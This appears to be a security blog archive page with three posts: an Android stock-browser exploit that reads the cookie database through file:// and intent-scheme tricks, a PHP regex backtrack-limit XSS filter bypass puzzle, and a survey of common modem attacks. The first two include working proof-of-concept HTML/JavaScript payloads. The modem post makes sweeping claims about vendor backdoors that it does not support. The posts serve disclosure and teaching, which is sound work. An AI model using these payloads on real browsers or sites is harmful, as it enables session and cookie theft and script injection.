KNOX D3: December 2014

Android Browser Cross Scheme Data Exposure + Intent Scheme Attack

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiI1Qfboj8JL7uxGjqAUO6tNRf1ZOxtjJR7_PhhboKlAeW70CVGhKvGx4GhThhcCnoeAe2yKGFkcSK8DRGIH2YJ5mleG3kWgBo-wHNhyphenhyphenmItu_m2pobJKgHtnuxvRmqb4Fg5AD7XFqxus14/s1600/_76596407_76592059.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiI1Qfboj8JL7uxGjqAUO6tNRf1ZOxtjJR7_PhhboKlAeW70CVGhKvGx4GhThhcCnoeAe2yKGFkcSK8DRGIH2YJ5mleG3kWgBo-wHNhyphenhyphenmItu_m2pobJKgHtnuxvRmqb4Fg5AD7XFqxus14/s1600/_76596407_76592059.jpg" width="320" /></a></div><br /><b>tl;dr </b>This exploit is an issue present in Android browser < 4.4 and several other android browsers which allows an attacker to read sqlite cookie database file and hence exposing all cookies. Along with it we also talk about a Cross Scheme Data exposure attack in Android < 4.4.<br /><h4>Introduction</h4>During my research on ASOP (Stock Browser) I found out that is is possible to open links to local files using file:// protocol by from a webpage by selecting "<b>Open Link in New tab</b>" from the context menu". This itself is does not represent a vulnerability unless there is a way to read local files and use be able to retrieve the files remotely. However, what caught my attention here is this by default is not permitted browsers such as Chrome, Firefox, Opera etc.<br /><a name='more'></a><br />The following screenshot demonstrates the error which is obtained when trying to access a local file from context menu.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyKaVtMldaWV-vlm6QUYb9DIMFjqsA0E6WLImbvaokQ0EZ3P3uJoYuZVxeE4ecNDPupnUcrq_Vx6Ee2BeeLMfVE_hUlcyY5ZpvhMisVEBP-Yo63EuG0dyLwRqXcAhCuoeVUWr3kSzzrYQ/s1600/khoso.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="115" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyKaVtMldaWV-vlm6QUYb9DIMFjqsA0E6WLImbvaokQ0EZ3P3uJoYuZVxeE4ecNDPupnUcrq_Vx6Ee2BeeLMfVE_hUlcyY5ZpvhMisVEBP-Yo63EuG0dyLwRqXcAhCuoeVUWr3kSzzrYQ/s1600/khoso.png" width="577" /></a></div><br /><h4>Attack Plan </h4>In order to exploit this issue, the following was the attack plan we came up with:<br /><br /><b>i) </b>User visits <b>Attacker.com.</b><br /><b>ii) Attacker.com </b>forces a download (exploit.html) on the victim's browser using content disposition header. The purpose of the exploit.html would be read local files and send it back to the attacker.<br /><b>iii) </b>The victim opens up a link by selecting "<b>Open Link in New tab</b>" which opens the local file exploit.html which was forced as download. <br /><b>iv) </b>Our file exploit.html would then be reading other local files and sending it back to the attacker.<br /><br />In order to write an effective exploit for the attack, I coped up with<b><a href="https://twitter.com/harupuxa" rel="nofollow" target="_blank"> Haru Sugiyama</a></b> a Security researcher from Japan. He came up with the following POC:<br /><b><a href="https://www.blogger.com/goog_841362288"><br /></a></b><b><a href="http://133.242.134.241/firefox/test.html" rel="nofollow" target="_blank">http://133.242.134.241/firefox/test.html</a></b><br /><br />Upon accessing the above page from android browser, it would first force the following file "<b>exploit.html</b>". Both FireFox and Android browser save files to '<b>/sdcard/Download/exploit.html</b>' in case sdcard is available. The exploit.html file would then try reading the other local files. However, this was not easy as it looked at first sight. Let's first talk about how the results from Android Gingerbread were different from Jellbeans.<br /><b></b> <br /><h4><b>Android Gingerbread:Observations</b></h4>In case of Android Gingerbread Emulator build 2.3 we are easily able to read other local files, this represents a vulnerability as in the browser, as it effectively allows a website to perform cross domains data theft and hence violating the <b>same-origin-policy</b>. The impact however is not large as roughly 11.4% of the users now use Android Gingerbread and they are dying slowly just like windows xp.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmHrl4bk8ajk4KVPO8mmHG49XgNAq3Oa3Zdl52A0ZJZg1o2Io15-MoTZAiKvf44nZyFKoFsAz74vPbL7UnZyLiE-ldQUqnS1aLv6K5LU9r-8kaVCxuRJ-FGrbRW5-Gzug4JOFmwphXJQg/s1600/6bb44c670f3a1d59f7823d15ea6bf76d_b.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="257" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmHrl4bk8ajk4KVPO8mmHG49XgNAq3Oa3Zdl52A0ZJZg1o2Io15-MoTZAiKvf44nZyFKoFsAz74vPbL7UnZyLiE-ldQUqnS1aLv6K5LU9r-8kaVCxuRJ-FGrbRW5-Gzug4JOFmwphXJQg/s1600/6bb44c670f3a1d59f7823d15ea6bf76d_b.jpg" width="577" /></a></div><br /><b></b> <br /><h4><b>Android JellyBeans: Observations</b></h4>In case jellybeans we found out that a local file was not able to read a local files,  We then tried our old null byte trick and it worked like a charm.<br /><br />The following is the POC:<br /><br /><blockquote class="tr_bq"><button onclick="exploit()">Read iframe</button><br /><button onclick="window.open('\u0000javascript:alert(document.body.innerHTML)','test')">Try \u0000</button><br /><iframe src="file:/default.prop" name="test" style='width:100%;height:200'></iframe><br /><script><br />function exploit() {<br />  var iframe = document.getElementsByTagName('iframe')[0];<br />  try{<br />    alert("Try to read local file.");<br />    alert("contentWindow:"+iframe.contentWindow);<br />    alert("document:"+iframe.contentWindow.document);<br />    alert("body:"+iframe.contentWindow.document.body);<br />    alert("innerHTML:"+iframe.contentWindow.document.body.innerHTML);<br />  } catch(e) {<br />    alert(e);<br />  }<br />}<br /></script></blockquote><br />However, due to the discovery of <b><a href="http://www.rafayhackingarticles.net/2014/08/android-browser-same-origin-policy.html" target="_blank">CVE-2014-6041</a> </b>the nullbytes issue was already patched and the above exploit did not work on patched devices.<br /><h4>Intent URL Scheme Attack</h4><div>Based upon our above findings it was concluded that in Android Jellybeans the access to local files was not an issue due to the fact that a local file could not read other local files. However Joe Vennix from metasploit team came up with a more strong way to exploit it by abusing the intent scheme. The following paper -> <a href="http://www.mbsd.jp/Whitepaper/IntentScheme.pdf" rel="nofollow" target="_blank">http://www.mbsd.jp/Whitepaper/IntentScheme.pdf</a> describes a potential way of exploiting this issue.  The following is the POC described in the paper:<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY8idrtxfLEZE_3vJEBIn26xM5u1ihhBFlTMpyg439Uk50AFRToyKiO770pLHCVtm7V5IBsQuCAGF-GeEYPsd8UmmedHi3Vd89X8TpvfJLD4QFNrGEvqNEzG3CWdqUtErcVEbd4Slx_30/s1600/khoso.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="78" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY8idrtxfLEZE_3vJEBIn26xM5u1ihhBFlTMpyg439Uk50AFRToyKiO770pLHCVtm7V5IBsQuCAGF-GeEYPsd8UmmedHi3Vd89X8TpvfJLD4QFNrGEvqNEzG3CWdqUtErcVEbd4Slx_30/s1600/khoso.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both;">The idea behind the attack vector is to saved a cookie containing javaScript code and trick the victim into opening the sqlite database file. Upon viewing the injected javascript would be executed in the context of a cookie file and would grab the rest of the cookies from the database file.<b> </b>Following is the basic POC, when when executed would read the entire webviewCookieChromium.db file.</div><div class="separator" style="clear: both;"><b><br /></b></div><div class="separator" style="clear: both;"><!doctype html></div><div class="separator" style="clear: both;">      <html></div><div class="separator" style="clear: both;">        <head><meta name="viewport" content="width=device-width, user-scalable=no" /></head></div><div class="separator" style="clear: both;">        <body style='width:100%;font-size: 16px;'></div><div class="separator" style="clear: both;">          <a href='file:///data/data/com.android.browser/databases/webviewCookiesChromium.db'></div><div class="separator" style="clear: both;">            Redirecting... To continue, tap and hold here, then choose "Open in a new tab"</div><div class="separator" style="clear: both;">          </a></div><div class="separator" style="clear: both;">          <script></div><div class="separator" style="clear: both;"><br /></div><div class="separator" style="clear: both;">           document.cookie='x=<img src=x onerror=prompt(document.body.innerHTML)>';   </div><div class="separator" style="clear: both;"><br /></div><div class="separator" style="clear: both;"><span class="Apple-tab-span" style="white-space: pre;">  </span> </script></div><div class="separator" style="clear: both;">        </body></div><div class="separator" style="clear: both;">      </html></div><br />Joe has created a <a href="https://github.com/rapid7/metasploit-framework/pull/4461" rel="nofollow" target="_blank">Metasploit module</a>, which automates the process of stealing the cookies and sending it back to you , since the db file also contains httponly cookies as well this attack is quite dangerous.<br /><br /><h4>Steps to Reproduce with Metasploit</h4><br /><b><br /></b>The following screenshots would walk you through the process of exploiting and retrieving the cookies:<br /><b><br /></b><b>Step 1 - Setting up the Module</b><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLtOQvHEwEfFaYoUiX4GCYGYx_2JF_JMEbEDeGegi5a5jTF0bsbpL9RVtnYnkmrUKKc-FtSkAk3OuQQ3G4UV2kNKD6uK0JL6CJqiGut3IRao6XBX3VfZivxVHCWuvaEkw6yeHvs3MK-N8/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="86" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLtOQvHEwEfFaYoUiX4GCYGYx_2JF_JMEbEDeGegi5a5jTF0bsbpL9RVtnYnkmrUKKc-FtSkAk3OuQQ3G4UV2kNKD6uK0JL6CJqiGut3IRao6XBX3VfZivxVHCWuvaEkw6yeHvs3MK-N8/s1600/1.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div></div><b>Step 2 - Stealing The Cookies</b><br /><b><br /></b><br /><div class="separator" style="clear: both; text-align: left;">All you need to sit back and watch the cookies coming to you. </div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgGBmxv6fNtDcNLKNc8bai4yC21YD7iHqCSq2JjwrlOd181RdkHmuKF2yVhPAgGGIp3jC2MtcWoTLNa61DvsQO7CbklgcHeoVF8epsGjygWZEaQuhLe8PLFSKSIJO87U0KyH9Uwf_94FU/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="402" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgGBmxv6fNtDcNLKNc8bai4yC21YD7iHqCSq2JjwrlOd181RdkHmuKF2yVhPAgGGIp3jC2MtcWoTLNa61DvsQO7CbklgcHeoVF8epsGjygWZEaQuhLe8PLFSKSIJO87U0KyH9Uwf_94FU/s1600/2.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;"><b>Step 3 - Enjoy</b></div><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwc62e6sbZShXz5pwxrf78gVFxNEdGSX6SY_DLp6J6hSXT67OkXRIG1fSVpH585j-V0h-KKDIebkm7XLlAR_SwKpv2erYmCKnDad7IbvxzgPmxbeQtWcojHMFXWDWLZERT02_Egdppntg/s1600/images.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwc62e6sbZShXz5pwxrf78gVFxNEdGSX6SY_DLp6J6hSXT67OkXRIG1fSVpH585j-V0h-KKDIebkm7XLlAR_SwKpv2erYmCKnDad7IbvxzgPmxbeQtWcojHMFXWDWLZERT02_Egdppntg/s1600/images.jpg" /></a></div><br /><div><h4>Patch</h4></div><div>The access to the data directory was tightened back in Feb 2014, however due to the android patch policies the patch did not make to most of the vendors. </div><div><h4>Credits</h4></div><div>I would like to thank <u>Tod Beardsley</u> and <u>Joe Vennix</u>  from the metasploit team for their extensive support with analyzing and helping to co-ordinate with Google effectively. As well as <u>Haru Sugiyama </u>for his help and support.<br /><br /></div></div>

Android Browser Cross Scheme Data Exposure + Intent Scheme Attack

tl;dr This exploit is an issue present in Android browser < 4.4 and several other android browsers which allows an attacker to read sqlit...

+ Read more »

Bad Meets evil - PHP meets Regular Expressions

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;">twi<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiM-b6UXOoDe9GmdhBnSVCscn3GknudyHaIzDOqul_oUwD5IX4fXVg6Bgcys2zoruU_HfNoeqwaqOrpeh5FOVyMKSG9KxQloF3co6tPtvM4W4xEczBFjTcTqDBCslINdEm0EY2RPN-EoTE/s1600/5836012758_17e9e3438a_b.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiM-b6UXOoDe9GmdhBnSVCscn3GknudyHaIzDOqul_oUwD5IX4fXVg6Bgcys2zoruU_HfNoeqwaqOrpeh5FOVyMKSG9KxQloF3co6tPtvM4W4xEczBFjTcTqDBCslINdEm0EY2RPN-EoTE/s1600/5836012758_17e9e3438a_b.jpg" width="577" /></a></div><br />This article would briefly discuss the reason why Regular Expressions might not be suitable for filtersand how things could turn miserably bad when PHP comes is used with Regular Expressions. The post would then continue with the write-up of a relevant scenario based challenge, and finally will conclude with the author’s opinion on the topic.<br /><a name='more'></a><br /><h4 style="text-align: left;">Common pitfalls of Regular expressions</h4><div style="text-align: left;">RegEx (Regular expressions) are commonly used for pattern matching, searching and replacing purposes; which are handy for string manipulation in different supported back-end programming languages. In reality, there are ton of filters <b>[1] </b>which heavily rely upon RegEx to filter out malicious inputs.<br /><br />We have already witnessed <b>[2]</b> why RegEx might not be considered as a good idea. However, one might argue that it is the programmers' fault (or rather choice of options) - they do not consider all the possible test cases for an attack surface scenario. I simply couldn't disagree with this statement. In fact, the Microsoft's current XSS filter <b>[3]</b> is a good example of it. Following are some of the problems:<br /><br /><i><b>Problem#1:</b></i> Under the hood for the first problem, the filter currently employs a very long RegEx, to which surprisingly, has no public bypasses available. But one should not forget it actually evolves from the previous vulnerable versions, and one really must have the patience to write such a tedious RegEx. <br /><br /><i><b>Problem#2:</b></i> The second problem is that even with a functional RegEx, this entirely could lead to different vulnerabilities. Yes; I'm talking about ReDoS(Regular Expression Denial of Service), an attack which happens to be surfaced in bad constructed Regex wherein <a href="http://blog.czarsecurities.com/1077/9-5-job-is-too-old-school-for-a-hacker-meet-shritam-bhowmick/" target="_blank">attackers</a> could compromise the availability of the application with a specially crafted input. <br /><br />In a long run, with the programmer’s perspective, it might be a bit tedious for developers to handle both functionality and security at one hand. Therefore, we conclude that RegEx (Regular Expressions) should be considered evil when being heavily used in filters.</div><h4 style="text-align: left;">PHP + RegEx = ?</h4><div style="text-align: left;">PHP itself is not bad, however when combined with regex becomes bad. Regarding RegEx, Most of the used RegEx functions (i.e. preg_*) in PHP are based upon the <b>PCRE library</b>. The engine itself is not only deficient in terms of performance, but it also opens to have a potential gateway to REDOS vulnerabilities.<br /><br />As we can see from a REDOS issue in PHP's famous frame work Code Igniter <b>[4]</b>, a non-harmful RegEx (e.g. `/[a-z]+=/`) can cause a serious performance damange. More importantly, there is a fatal design flaw. In order to prevent resource exhaustion, PHP is so smart that it provides an option called <b>pcre.backtrack_limit. </b>What it does is to limit the number of backtracks (backtrack is a common cause of ReDoS). But what if the number of backtracks reaches the limit? Well, it just doesn't care. In other words, it is possible to evade specific protections when the conditions are met.</div><h4 style="text-align: left;">The write-up</h4><div style="text-align: left;"><br />In order to demonstrate how serious the problem could be, I had ended up creating a mini XSS puzzle of the kcal.pw series. Here is the sample code for this puzzle:</div><blockquote class="tr_bq">$xss = $_POST['xss'];<br />if (preg_match('/<(?:\w+)\W+?[\w]/', $xss)) {<br />echo '<p>I don\'t think so</p>';<br />} else {<br />echo $xss;<br />}</blockquote><div style="text-align: left;"><br />Let’s take a look at the following RegEx and what see it does: ```/<(?:\w+)\W+?[\w]/```<br /><br />It detects any presence of an open tag, followed by any potential attributes, separators and whatsoever. Although the RegEx looks specious, it is technically sufficient for preventing XSS in HTML context. If you look closely, you will find the RegEx utilizes non-greedy matching which requires backtracking. As mentioned before, PHP has a default backtrack limit (pcre.backtrack_limit, 100000). However, PHP favours "fail silently", which makes pcre_match simply returns false instead of throwing an exception when the input reaches the limit. As a result, submitting a long enough payload will bypass the filter.<br /><br />Let’s try using the preg_match function to test the regular expression with a large number of A’s:</div><blockquote class="tr_bq">var_dump(preg_match('/<(?:\w+)\W+?[\w]/', '<a/'.str_repeat('\\', 1000000).'/a'))</blockquote><div style="text-align: left;"><br />The proof of concept is simple. It simulates the input being matched with the vulnerable RegEx (A being repeated 1000000 times). And it does return false.<br /><br /><h4>Proof Of Concept</h4></div>The following is a complete proof of concept that would generate alert(1) on the challenge domain:<br /><blockquote><div dir="ltr" style="text-align: left;" trbidi="on"><form action="http://s30003-101809-vkp.tarentum.hack.me/index.php" method="post"><br />    <textarea style="display: none" name="xss"></textarea><br />  </form><br /><script><br />document.forms[0].xss.value = '<script' + Array(999999).join('/') + '>alert(1)<\/script>';<br />document.forms[0].submit();<br /></script></div></blockquote><h4 style="text-align: left;">Conclusion</h4><div style="text-align: left;"><br />The suggestion for the defense is to use RegEx only if absolute necessary. More importantly, avoid writing bad RegEx. Although there are some tools which claim to analyze potential ReDoS problem, the best practice is to again to substantially limit the use of RegEx. Finally, this is a take-away (which is also my “right” rule thumb principle): <br /><br /> If a filter relies too heavily on a Regex, then it might probably fail its job in terms of security!<br /><br /><h4>About The Author</h4><br />This article has been written by "<b>File Descriptor</b>", he prefers to be called as an "XSS Jigsaw" instead of his real name, which he prefers to keep secret. FD has decided to dedicate his life towards creating and solving XSS challenges and that is what in my opinion a hacker really is, a problem solving expert. You can follow him at <a href="http://twitter.com/filedescriptor" rel="nofollow" target="_blank">@filedescriptor</a><br /><b><br /></b><b>References</b><br /><b><br /></b>1. http://www.thespanner.co.uk/2014/10/24/unbreakable-filter/<br />2.  http://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags<br />3. http://www.cloudscan.me/2011/09/mshtmldll-ie-xss-filter-evasion.html<br />4. https://github.com/bcit-ci/CodeIgniter/issues/3123</div></div>

Bad Meets evil - PHP meets Regular Expressions

twi This article would briefly discuss the reason why Regular Expressions might not be suitable for filtersand how things could turn miserab...

+ Read more »

Common Attacks Against Modems

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCrMdR392U-jC42ef_KvURuC7t8A_y8y9E8VfL-BYHOt7it0-xAmkLxv9DmQ1Ik73yNJR0yChQKRHn3LCtu2tbzZayHhclP06bcxWXhzCDjlUGcm_Bg04St8jktTYXZpddyt6LMqtst-8/s1600/T-DSL_Modem.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="313" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCrMdR392U-jC42ef_KvURuC7t8A_y8y9E8VfL-BYHOt7it0-xAmkLxv9DmQ1Ik73yNJR0yChQKRHn3LCtu2tbzZayHhclP06bcxWXhzCDjlUGcm_Bg04St8jktTYXZpddyt6LMqtst-8/s1600/T-DSL_Modem.jpg" width="320" /></a></div><h2 style="text-align: left;"><span id="goog_3749436"></span><span id="goog_3749437"></span></h2><h2 style="text-align: left;">0x01: Introduction to Modems</h2><div style="text-align: left;">The term DSL modem is technically used to describe "a modem which connects to a single computer, through a USB port or is installed in a computer PCI slot". The more common DSL router which combines the function of a DSL modem and a home router is a standalone device which could be connected to multiple computers through multiple Ethernet ports or an integral wireless access point. Also called as a "residential gateway", a DSL router usually manages the connection and sharing of the DSL service in a home or small office network.<br /><br /><a name='more'></a><br />Most consumer DSL lines use one of several variations and varieties of Asymmetric DSL (ADSL). The "asymmetric" DSL here means that more of the bandwidth of the line is dedicated to downstream (download) data than upstream (upload) data. Hence, download rates are faster than upload rates since most users download much larger quantities of data than they actually upload. Because the telephone lines were never designed to carry such high frequency signals, DSL is distance-sensitive. The farther away from the switching center the modem is, the longer the telephone wires, the weaker the signal, and the lower the data rate that the modem can achieve. Users in metropolitan areas, close to switching centers, may have access to higher rate service, up to 8 Mbit/s than the expected rate for the same service in remote areas.<br /><u><br /></u><u>Reference: en.wikipedia.org/wiki/DSL_modem</u></div><div style="text-align: left;"><u><br /></u></div><h4 style="text-align: left;">0x02: Market Share</h4><div style="text-align: left;">The modem manufacturers mostly are mostly chinese based . Research shows that companies like ZTE & Huawei are doing very well and have gained enterprise router share in china over the past year. In China ZTE is placed third player in 2013 and 2014 with dizzying rise this year than the popular consortium Cisco. (Which happens to be more secure). This is also due to the fact that cisco's products are very costly and difficult for the home users to afford. </div><div style="text-align: left;"><br /></div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGk64u-mlvH-axt5fvNEm0e5LrVd0cg7Sfm078WlNdPasW4DjGn7jgQ9pxEmQt0qhkxsEbL46FheOVDDZ250ictQCthX-5HqMIvqApenYu6kG1lNIEXZAwGgE1mjJd8EHzHWQokZWotFxl/s1600/huwair.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGk64u-mlvH-axt5fvNEm0e5LrVd0cg7Sfm078WlNdPasW4DjGn7jgQ9pxEmQt0qhkxsEbL46FheOVDDZ250ictQCthX-5HqMIvqApenYu6kG1lNIEXZAwGgE1mjJd8EHzHWQokZWotFxl/s1600/huwair.jpg" /> </a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"> </div><div class="MsoNormal"><br /></div><h4 class="MsoNormal" style="text-align: left;">0x03: Backups& Backdoors</h4><div class="MsoNormal" style="text-align: left;">All modems include  Backup files mainly because of the need to recover the modem to the original state after a reset. However, knowing the direct link to the backup file puts the modem directly in danger. All an attacker has to do is request the backup file and view it; mostly this is juicy plain info that contains passwords, ISP configurations.<br /><br />Knowing this however, some vendors try to encrypt the contents that are inside these files. So downloading this would be useless for the attacker. But this isn’t entirely impossible as lots of vendors tend to use weak encryption mechanisms to encrypt backup file. And research done by white hats such as Osanda Malith shows that. He for example provided a PoC tool used to decrypt these rom-0 (Backup) files from most modems, including ZTE and TP-Link.</div><div class="MsoNormal" style="text-align: left;"><br />Most of the chinese Vendors such as ZTE are banned from the US, one because they being incredibly insecure and two because, they put malicious backdoors to snoop and eavesdrop on individuals and organizations.<br /><br />Lots of trusted companies such as TP-Link, Huawei and other chinese companies have a record of placing backdoors in their products. These backdoors are normally in form of open ports which on connecting would provide a reverse shell. The ports are often found to be high in number to make it harder to detect.<br /><br />One of such examples can be found <a href="http://sekurak.pl/more-information-about-tp-link-backdoor/" rel="nofollow" target="_blank">here</a>. This lets them capture sensitive files and sometimes sell it for residing countries. This strategy is great one for governments to spy on their citizens as well as for great as a part of a cyber attack against a particular country. So for example: A country could sell cheap  backdoored modems to a target country, and in case the modems end up being used on military and sensitive systems, then they have hit a jackpot. </div><h4 class="MsoNormal" style="text-align: left;">0x04: Default Configuration details and Hardcoded Credentials</h4><div style="text-align: left;">Apparently, all if not most modems come with very easy to guess password configurations. Infact, most of them are identical like: username:admin and password: admin. Most people do not change the configuration details and most ISP’s leave this as default.<br /><br />This amazingly is a good news for malicious users. Because all they have to do is know the vendor and they can get their hands on it easily using sites such as http://www.routerpasswords.com/ to extract information.</div><div style="text-align: left;"></div><h4 style="text-align: left;">0x05: XSRF and XSS</h4><div style="text-align: left;"></div><div style="text-align: left;"> </div><div class="MsoNormal">These two are two of the most common flaws in the history of web security. Mmost ZTE modems do not use anti-XSRF tokens (Used to prevent CSRF Attacks) on any sensitive request.<br /><br /></div><div class="MsoNormal">XSS is even more worsed because if one found an XSS flaw in any modem (which is likely), he can send that link to a logged in administrator and perform any action in behalf of the admin, this could be done by stealing the XSRF-Token. Also, an XSS could also allow session hijacking and other browser attacks.</div><div class="MsoNormal"><br /></div><div class="MsoNormal">XSRF flaws are more commonly found in modems as opposed to xss due to the fact that modems use <a href="http://pwntoken.wordpress.com/2014/12/07/required-http-security-inspection-on-application-security/" target="_blank">HTTP</a> authentications most of the time. So Headers are mainly used in communications protocols to communicate with one another. This makes it harder for the modem to detect and create anti-csrf tokens other than to compare it. <br /><br /></div><div class="MsoNormal">Because of these or just because of careless developing it is sometimes possible in to tricking admins changing passwords, issuing commands or easing access. </div><div class="MsoNormal"><br /></div><h4 class="MsoNormal" style="text-align: left;">0x06: Social Engineering</h4><div class="MsoNormal" style="text-align: left;">What would you say if a blocked number called you and told you that she is from your ISP and she needs your credentials in order to add/maintain the new and revised 3G technology into your modem. Or even she asks you to maintain security flaws in your modem? You surly never expect this to be a troll. I mean, why would you? And then next thing you know, she snooped your configuration password. Knowing this password could mean (since lots of people use same passwords) that she got access to email password, financial account, etc. </div><div class="MsoNormal" style="text-align: left;"><br /></div><h4 class="MsoNormal" style="text-align: left;">0x07: Exploit Databases</h4><div class="MsoNormal" style="text-align: left;">Many Exploit databases hold juicy info about modems. Including default configurations, XSRF/XSS/LFI flaws, logical issues, backdoors. So all you need to do is to find the modem version and give a search on exploit databases such as exploit-db.com, 1337day.com etc<br /><br />So say, in case you found an exploit against a previous version of a modem, however not for the exact version. This necessary doesn't mean yours isn’t vulnerable to the particular exploit you found. Infact most vendors use same architecture to construct the web architecture of their modems. So one XSS on one model could mean XSS on all other vendor modems.</div><h4 class="MsoNormal" style="text-align: left;">0x08: Eavesdropping</h4><div class="MsoNormal" style="text-align: left;">The lack of SSL usually means bad luck for modems. Especially if it’s for office/public usage because the admin is always in risk of accessing any file from the modem. The reason being, that it is very easy to sniff ongoing traffic with with tools like Wireshark.<br /><br />The fact that modems use login protocols like HTTP authentication puts them in more danger because when requesting any file, the modem should request the authentication header and the admin responds in (mostly Base64 form), and an attack easily can sniff this and decode the communication easily it.<br /><br />Even when using SSL (note very few modems use it), it can still be insecure and even pose more risk. Recently, A lot of attacks have been identified against SSL protocols Heartbleed, POODLE to name a few. </div><h4 class="MsoNormal" style="text-align: left;">0x09: Denial Of Service</h4><div class="MsoNormal" style="text-align: left;">Denial of Service is one of the most annoying things I can think of next to a Log out CSRF. People with bad intentions can use this type of attack to knock a modem out of delivering internet and sometimes even let the modem reset itself. <br /><br />This is really crazy for people trying to do their job. The fact this attack can easily be turned an untraceable attack can make your business day a big pain just because you choose to use a vulnerable modem.<br /><br />Most modems by design don’t hold more HDD than 25MB and less than 2MB ram with no DOS protections. This usually means they can handle limited amount of data with huge amount of time. All an attacker has to do is send more requests than the modem can handle and hence exhausting it's memory and resulting in a DOS.<br /><b><br /></b><b>0x10: Lack Of Updates</b><br /><br />Modem users seldom receive updates for modems in case a critical vulnerabilities have been identified in the wild, and a lot of them don't really have a mechanism for providing OTA (Over the Air) updates. A lot of times, users manually have to upgrade the firmware and ofcourse which is not possible for people having lack or no technical knowledge. </div><h4 class="MsoNormal" style="text-align: left;">0xA: Suggestions</h4><ol style="text-align: left;"><li>If you are an admin/user of a modem, Try not to stay logged in to make attacks like XSRF,XSS and ClickJacking less effective. .</li><li>Try doing a little research about the modem model you are trying to buy. Google exploits for it, try to search if it uses secure connection (TLS), if it is vulnerable, why should you. Look for another.</li><li>Try disabling remote access to decrease the attacker’s possibility of gaining access over the internet; since most of the modem exploits require LAN access, it’s a good thing to disable Telnet, web and even ftp access to modem remotely.</li><li>Limit Physical Access. Because, most modems have a physical hard reset key/button, it should be noted most of them should remain in a secured environment where only authorized people can reach.</li></ol><h4 style="text-align: left;">About the Author:</h4><div id="stcpDiv" style="left: -1988px; position: absolute; top: -1999px;">This  following article is a guest post by Paulos Yibelo. Yibelo is the  newest member of RHA family. He is a full time PHP coder and most of his  research is involved with application security. In his free time he  loves writing articles related to application security  http://paulosyibelo.blogspot.com/. - See more at:  http://www.rafayhackingarticles.net/2014/09/indepth-code-execution-in-php-part-two.html#sthash.b5OotKP6.dpuf</div><div style="text-align: left;">This following article is a guest post by Paulos Yibelo. Yibelo is the newest member of RHA family. He is a full time PHP coder and most of his research is involved with application security. In his free time he loves writing articles related to application security <a href="http://paulosyibelo.blogspot.com/" rel="nofollow" target="_blank">http://paulosyibelo.blogspot.com/</a></div><div style="text-align: left;"></div></div>

Common Attacks Against Modems

0x01: Introduction to Modems The term DSL modem is technically used to describe "a modem which connects to a single computer, through a...

+ Read more »